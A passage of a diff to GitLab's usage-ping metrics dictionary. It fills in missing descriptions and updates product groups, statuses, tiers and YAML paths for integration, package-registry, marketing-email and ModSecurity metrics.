definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210421075943_g_project_management_users_checking_epic_task_weekly.yml) - -Group: `group::product planning` - -Status: `implemented` - -Tiers: `premium`, `ultimate` - -### `counts.g_project_management_users_unchecking_epic_task_monthly` - -Counts of MAU unchecking epic task - -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210421102516_g_project_management_users_unchecking_epic_task_monthly.yml) - -Group: `group::product planning` - -Status: `implemented` - -Tiers: `premium`, `ultimate` - -### `counts.g_project_management_users_unchecking_epic_task_weekly` - -Counts of WAU unchecking epic task - -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210421102812_g_project_management_users_unchecking_epic_task_weekly.yml) - -Group: `group::product planning` - -Status: `implemented` - -Tiers: `premium`, `ultimate` - ### `counts.geo_event_log_max_id` Number of replication events on a Geo primary @@ -1240,7 +1192,7 @@ Total count of groups as of usage ping snapshot [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180750_groups.yml) -Group: `group::manage` +Group: `group::access` Status: `data_available` @@ -1344,15 +1296,15 @@ Tiers: `free`, `premium`, `ultimate` ### `counts.groups_datadog_active` -Missing description +Count of groups with active integrations for Datadog [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182549_groups_datadog_active.yml) -Group: `` +Group: `group::ecosystem` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.groups_discord_active` @@ -1392,15 +1344,15 @@ Tiers: `free`, `premium`, `ultimate` ### `counts.groups_ewm_active` -Missing description +Count of groups with active integrations for EWM [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182616_groups_ewm_active.yml) -Group: `` +Group: `group::ecosystem` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.groups_external_wiki_active` @@ -1430,13 +1382,13 @@ Tiers: `free`, `premium`, `ultimate` Count of groups with active integrations for GitHub -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175850_groups_github_active.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216175850_groups_github_active.yml) Group: `group::ecosystem` Status: `data_available` -Tiers: `free`, `premium`, `ultimate` +Tiers: `premium`, `ultimate` ### `counts.groups_hangouts_chat_active` @@ -1560,15 +1512,15 @@ Tiers: `free`, `premium`, `ultimate` ### `counts.groups_inheriting_datadog_active` -Missing description +Count of active groups inheriting integrations for Datadog [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182557_groups_inheriting_datadog_active.yml) -Group: `` +Group: `group::ecosystem` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.groups_inheriting_discord_active` @@ -1608,15 +1560,15 @@ Tiers: `free`, `premium`, `ultimate` ### `counts.groups_inheriting_ewm_active` -Missing description +Count of active groups inheriting integrations for EWM [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182623_groups_inheriting_ewm_active.yml) -Group: `` +Group: `group::ecosystem` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.groups_inheriting_external_wiki_active` @@ -1646,13 +1598,13 @@ Tiers: `free`, `premium`, `ultimate` Count of active groups inheriting integrations for GitHub -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175857_groups_inheriting_github_active.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216175857_groups_inheriting_github_active.yml) Group: `group::ecosystem` Status: `data_available` -Tiers: `free`, `premium`, `ultimate` +Tiers: `premium`, `ultimate` ### `counts.groups_inheriting_hangouts_chat_active` @@ -1752,27 +1704,27 @@ Tiers: `free`, `premium`, `ultimate` ### `counts.groups_inheriting_mock_ci_active` -Missing description +Count of active groups inheriting integrations for Mock CI [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182732_groups_inheriting_mock_ci_active.yml) -Group: `` +Group: `group::ecosystem` -Status: `data_available` +Status: `removed` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.groups_inheriting_mock_monitoring_active` -Missing description +Count of active groups inheriting integrations for Mock Monitoring [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182743_groups_inheriting_mock_monitoring_active.yml) -Group: `` +Group: `group::ecosystem` -Status: `data_available` +Status: `removed` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.groups_inheriting_packagist_active` @@ -1992,27 +1944,27 @@ Tiers: `free`, `premium`, `ultimate` ### `counts.groups_mock_ci_active` -Missing description +Count of groups with active integrations for Mock CI [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182724_groups_mock_ci_active.yml) -Group: `` +Group: `group::ecosystem` -Status: `data_available` +Status: `removed` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.groups_mock_monitoring_active` -Missing description +Count of groups with active integrations for Mock Monitoring [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182736_groups_mock_monitoring_active.yml) -Group: `` +Group: `group::ecosystem` -Status: `data_available` +Status: `removed` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.groups_packagist_active` @@ -2166,7 +2118,7 @@ Total clicks on the create track's first email Group: `group::activation` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -2178,7 +2130,7 @@ Total sent emails of the create track's first email Group: `group::activation` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -2190,7 +2142,7 @@ Total clicks on the create track's second email Group: `group::activation` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -2202,7 +2154,7 @@ Total sent emails of the create track's second email Group: `group::activation` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -2214,7 +2166,7 @@ Total clicks on the create track's third email Group: `group::activation` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -2226,7 +2178,19 @@ Total sent emails of the create track's third email Group: `group::activation` -Status: `implemented` +Status: `data_available` + +Tiers: `free`, `premium`, `ultimate` + +### `counts.in_product_marketing_email_experience_0_sent` + +Total sent emails of the experience track's first email + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210518081225_in_product_marketing_email_experience_0_sent.yml) + +Group: `group::activation` + +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -2238,7 +2202,7 @@ Total clicks on the team track's first email Group: `group::activation` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -2250,7 +2214,7 @@ Total sent emails of the team track's first email Group: `group::activation` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -2262,7 +2226,7 @@ Total clicks on the team track's second email Group: `group::activation` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -2274,7 +2238,7 @@ Total sent emails of the team track's second email Group: `group::activation` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -2286,7 +2250,7 @@ Total clicks on the team track's third email Group: `group::activation` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -2298,7 +2262,7 @@ Total sent emails of the team track's third email Group: `group::activation` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -2310,7 +2274,7 @@ Total clicks on the verify trial's first email Group: `group::activation` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -2322,7 +2286,7 @@ Total sent emails of the trial track's first email Group: `group::activation` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -2334,7 +2298,7 @@ Total clicks on the trial track's second email Group: `group::activation` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -2346,7 +2310,7 @@ Total sent emails of the trial track's second email Group: `group::activation` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -2358,7 +2322,7 @@ Total clicks on the trial track's third email Group: `group::activation` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -2370,7 +2334,7 @@ Total sent emails of the trial track's third email Group: `group::activation` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -2382,7 +2346,7 @@ Total clicks on the verify track's first email Group: `group::activation` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -2394,7 +2358,7 @@ Total sent emails of the verify track's first email Group: `group::activation` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -2406,7 +2370,7 @@ Total clicks on the verify track's second email Group: `group::activation` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -2418,7 +2382,7 @@ Total sent emails of the verify track's second email Group: `group::activation` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -2430,7 +2394,7 @@ Total clicks on the verify track's third email Group: `group::activation` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -2442,7 +2406,7 @@ Total sent emails of the verify track's third email Group: `group::activation` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -2490,7 +2454,7 @@ Whether or not ModSecurity is set to blocking mode Group: `group::container security` -Status: `deprecated` +Status: `removed` Tiers: `free`, `premium`, `ultimate` @@ -2502,7 +2466,7 @@ Whether or not ModSecurity is disabled within Ingress Group: `group::container security` -Status: `deprecated` +Status: `removed` Tiers: `free`, `premium`, `ultimate` @@ -2514,7 +2478,7 @@ Whether or not ModSecurity is set to logging mode Group: `group::container security` -Status: `deprecated` +Status: `removed` Tiers: `free`, `premium`, `ultimate` @@ -2526,7 +2490,7 @@ Whether or not ModSecurity has not been installed into the cluster Group: `group::container security` -Status: `deprecated` +Status: `removed` Tiers: `free`, `premium`, `ultimate` @@ -2538,7 +2502,7 @@ Cumulative count of packets identified as anomalous by ModSecurity since Usage P Group: `group::container security` -Status: `deprecated` +Status: `removed` Tiers: `free`, `premium`, `ultimate` @@ -2550,7 +2514,7 @@ Cumulative count of packets processed by ModSecurity since Usage Ping was last r Group: `group::container security` -Status: `deprecated` +Status: `removed` Tiers: `free`, `premium`, `ultimate` @@ -2562,7 +2526,7 @@ Whether or not ModSecurity statistics are unavailable Group: `group::container security` -Status: `deprecated` +Status: `removed` Tiers: `ultimate` @@ -2688,15 +2652,15 @@ Tiers: `free`, `premium`, `ultimate` ### `counts.instances_datadog_active` -Missing description +Count of active instance-level integrations for Datadog [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182553_instances_datadog_active.yml) -Group: `` +Group: `group::ecosystem` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.instances_discord_active` @@ -2736,15 +2700,15 @@ Tiers: `free`, `premium`, `ultimate` ### `counts.instances_ewm_active` -Missing description +Count of active instance-level integrations for EWM [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182620_instances_ewm_active.yml) -Group: `` +Group: `group::ecosystem` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.instances_external_wiki_active` @@ -2774,13 +2738,13 @@ Tiers: `free`, `premium`, `ultimate` Count of active instance-level integrations for GitHub -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175853_instances_github_active.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216175853_instances_github_active.yml) Group: `group::ecosystem` Status: `data_available` -Tiers: `free`, `premium`, `ultimate` +Tiers: `premium`, `ultimate` ### `counts.instances_hangouts_chat_active` @@ -2880,27 +2844,27 @@ Tiers: `free`, `premium`, `ultimate` ### `counts.instances_mock_ci_active` -Missing description +Count of active instance-level integrations for Mock CI [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182728_instances_mock_ci_active.yml) -Group: `` +Group: `group::ecosystem` -Status: `data_available` +Status: `removed` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.instances_mock_monitoring_active` -Missing description +Count of active instance-level integrations for Mock Monitoring [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182739_instances_mock_monitoring_active.yml) -Group: `` +Group: `group::ecosystem` -Status: `data_available` +Status: `removed` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.instances_packagist_active` @@ -3192,15 +3156,15 @@ Tiers: `free`, `premium`, `ultimate` ### `counts.keys` -Missing description +Number of keys. [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180752_keys.yml) -Group: `group::manage` +Group: `group::access` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.kubernetes_agent_gitops_sync` @@ -3222,7 +3186,7 @@ Count of Kubernetes API proxy requests Group: `group::configure` -Status: `implemented` +Status: `data_available` Tiers: `premium`, `ultimate` @@ -3302,13 +3266,13 @@ Tiers: `premium`, `ultimate` Number of users that are linked to LDAP -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216174826_ldap_users.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216174826_ldap_users.yml) Group: `group::access` Status: `data_available` -Tiers: `free`, `premium`, `ultimate` +Tiers: `premium`, `ultimate` ### `counts.lfs_objects` @@ -3316,7 +3280,7 @@ Missing description [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181009_lfs_objects.yml) -Group: `group::package` +Group: `group::create` Status: `data_available` @@ -3324,15 +3288,15 @@ Tiers: `free` ### `counts.license_management_jobs` -Name on the GitLab license +Count of License Scanning jobs run -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/license/20210204124854_license_management_jobs.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210204124854_license_management_jobs.yml) -Group: `group::product intelligence` +Group: `group::composition analysis` Status: `data_available` -Tiers: `premium`, `ultimate` +Tiers: `ultimate` ### `counts.licenses_list_views` @@ -3492,507 +3456,519 @@ Tiers: `free`, `premium`, `ultimate` ### `counts.package_events_i_package_composer_delete_package` -Missing description +A count of Composer packages that have been deleted [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182855_package_events_i_package_composer_delete_package.yml) -Group: `` +Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.package_events_i_package_composer_pull_package` -Missing description +A count of Composer packages that have been downloaded [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182857_package_events_i_package_composer_pull_package.yml) -Group: `` +Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.package_events_i_package_composer_push_package` -Missing description +A count of Composer packages that have been published [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182859_package_events_i_package_composer_push_package.yml) -Group: `` +Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.package_events_i_package_conan_delete_package` -Missing description +A count of Conan packages that have been deleted [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182901_package_events_i_package_conan_delete_package.yml) -Group: `` +Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.package_events_i_package_conan_pull_package` -Missing description +A count of Conan packages that have been downloaded [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182903_package_events_i_package_conan_pull_package.yml) -Group: `` +Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.package_events_i_package_conan_push_package` -Missing description +A count of Conan packages that have been published [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182905_package_events_i_package_conan_push_package.yml) -Group: `` +Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.package_events_i_package_container_delete_package` -Missing description +A count of container images that have been deleted [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182907_package_events_i_package_container_delete_package.yml) -Group: `` +Group: `group::package` -Status: `data_available` +Status: `deprecated` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.package_events_i_package_container_pull_package` -Missing description +A count of container images that have been downloaded [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182909_package_events_i_package_container_pull_package.yml) -Group: `` +Group: `group::package` -Status: `data_available` +Status: `deprecated` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.package_events_i_package_container_push_package` -Missing description +A count of container images that have been published [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182911_package_events_i_package_container_push_package.yml) -Group: `` +Group: `group::package` -Status: `data_available` +Status: `deprecated` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.package_events_i_package_debian_delete_package` -Missing description +A count of Debian packages that have been deleted [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182913_package_events_i_package_debian_delete_package.yml) -Group: `` +Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.package_events_i_package_debian_pull_package` -Missing description +A count of Debian packages that have been downloaded [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182915_package_events_i_package_debian_pull_package.yml) -Group: `` +Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.package_events_i_package_debian_push_package` -Missing description +A count of Debian packages that have been published [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182917_package_events_i_package_debian_push_package.yml) -Group: `` +Group: `group::package` -Status: `data_available` +Status: `deprecated` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.package_events_i_package_delete_package` -Missing description +A count of packages that have been deleted [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182919_package_events_i_package_delete_package.yml) -Group: `` +Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.package_events_i_package_delete_package_by_deploy_token` -Missing description +A count of packages that have been deleted using a Deploy Token [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182921_package_events_i_package_delete_package_by_deploy_token.yml) -Group: `` +Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.package_events_i_package_delete_package_by_guest` -Missing description +A count of packages that have been deleted using a Guest [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182923_package_events_i_package_delete_package_by_guest.yml) -Group: `` +Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.package_events_i_package_delete_package_by_user` -Missing description +A count of packages that have been deleted using a logged in user [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182925_package_events_i_package_delete_package_by_user.yml) -Group: `` +Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.package_events_i_package_generic_delete_package` -Missing description +A count of generic packages that have been deleted [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182927_package_events_i_package_generic_delete_package.yml) -Group: `` +Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.package_events_i_package_generic_pull_package` -Missing description +A count of generic packages that have been downloaded [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182929_package_events_i_package_generic_pull_package.yml) -Group: `` +Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.package_events_i_package_generic_push_package` -Missing description +A count of generic packages that have been published [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182931_package_events_i_package_generic_push_package.yml) -Group: `` +Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.package_events_i_package_golang_delete_package` -Missing description +A count of Go modules that have been deleted [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182933_package_events_i_package_golang_delete_package.yml) -Group: `` +Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.package_events_i_package_golang_pull_package` -Missing description +A count of Go modules that have been downloaded [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182934_package_events_i_package_golang_pull_package.yml) -Group: `` +Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.package_events_i_package_golang_push_package` -Missing description +A count of Go modules that have been published [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182936_package_events_i_package_golang_push_package.yml) -Group: `` +Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` + +### `counts.package_events_i_package_helm_pull_package` + +Total count of pull Helm packages events + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210517073546_package_events_i_package_helm_pull_package.yml) + +Group: `group::package` + +Status: `implemented` + +Tiers: `free`, `premium`, `ultimate` ### `counts.package_events_i_package_maven_delete_package` -Missing description +A count of Maven packages that have been deleted [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182938_package_events_i_package_maven_delete_package.yml) -Group: `` +Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.package_events_i_package_maven_pull_package` -Missing description +A count of Maven packages that have been downloaded [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182940_package_events_i_package_maven_pull_package.yml) -Group: `` +Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.package_events_i_package_maven_push_package` -Missing description +A count of Maven packages that have been published [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182942_package_events_i_package_maven_push_package.yml) -Group: `` +Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.package_events_i_package_npm_delete_package` -Missing description +A count of npm packages that have been deleted [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182944_package_events_i_package_npm_delete_package.yml) -Group: `` +Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.package_events_i_package_npm_pull_package` -Missing description +A count of npm packages that have been downloaded [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182946_package_events_i_package_npm_pull_package.yml) -Group: `` +Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.package_events_i_package_npm_push_package` -Missing description +A count of npm packages that have been published [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182948_package_events_i_package_npm_push_package.yml) -Group: `` +Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.package_events_i_package_nuget_delete_package` -Missing description +A count of NuGet packages that have been deleted [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182950_package_events_i_package_nuget_delete_package.yml) -Group: `` +Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.package_events_i_package_nuget_pull_package` -Missing description +A count of NuGet packages that have been downloaded [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182952_package_events_i_package_nuget_pull_package.yml) -Group: `` +Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.package_events_i_package_nuget_push_package` -Missing description +A count of NuGet packages that have been published [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182954_package_events_i_package_nuget_push_package.yml) -Group: `` +Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.package_events_i_package_pull_package` -Missing description +A count of packages that have been downloaded from the package registry [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182956_package_events_i_package_pull_package.yml) -Group: `` +Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.package_events_i_package_pull_package_by_deploy_token` -Missing description +A count of packages that have been downloaded from the package registry using a Deploy Token [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182958_package_events_i_package_pull_package_by_deploy_token.yml) -Group: `` +Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.package_events_i_package_pull_package_by_guest` -Missing description +A count of packages that have been downloaded from the package registry by a guest [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216183000_package_events_i_package_pull_package_by_guest.yml) -Group: `` +Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.package_events_i_package_pull_package_by_user` -Missing description +A count of packages that have been downloaded from the package registry by a user [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216183002_package_events_i_package_pull_package_by_user.yml) -Group: `` +Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.package_events_i_package_push_package` -Missing description +A count of packages that have been published to the package registry [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216183004_package_events_i_package_push_package.yml) -Group: `` +Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.package_events_i_package_push_package_by_deploy_token` -Missing description +A count of packages that have been published to the package registry using a deploy token [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216183005_package_events_i_package_push_package_by_deploy_token.yml) -Group: `` +Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.package_events_i_package_push_package_by_guest` -Missing description +A count of packages that have been published to the package registry by a Guest [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216183007_package_events_i_package_push_package_by_guest.yml) -Group: `` +Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.package_events_i_package_push_package_by_user` -Missing description +A count of packages that have been published to the package registry by a user [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216183009_package_events_i_package_push_package_by_user.yml) -Group: `` +Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.package_events_i_package_pypi_delete_package` -Missing description +A count of Python packages that have been deleted from the package registry [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216183011_package_events_i_package_pypi_delete_package.yml) -Group: `` +Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.package_events_i_package_pypi_pull_package` -Missing description +A count of Python packages that have been downloaded from the package registry [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216183013_package_events_i_package_pypi_pull_package.yml) -Group: `` +Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.package_events_i_package_pypi_push_package` -Missing description +A count of Python packages that have been published to the package registry [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216183015_package_events_i_package_pypi_push_package.yml) -Group: `` +Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.package_events_i_package_rubygems_delete_package` @@ -4032,39 +4008,39 @@ Tiers: `free`, `premium`, `ultimate` ### `counts.package_events_i_package_tag_delete_package` -Missing description +A count of package tags that have been deleted from the package registry [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216183017_package_events_i_package_tag_delete_package.yml) -Group: `` +Group: `group::package` -Status: `data_available` +Status: `deprecated` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.package_events_i_package_tag_pull_package` -Missing description +A count of package tags that have been downloaded from the package registry [YAML 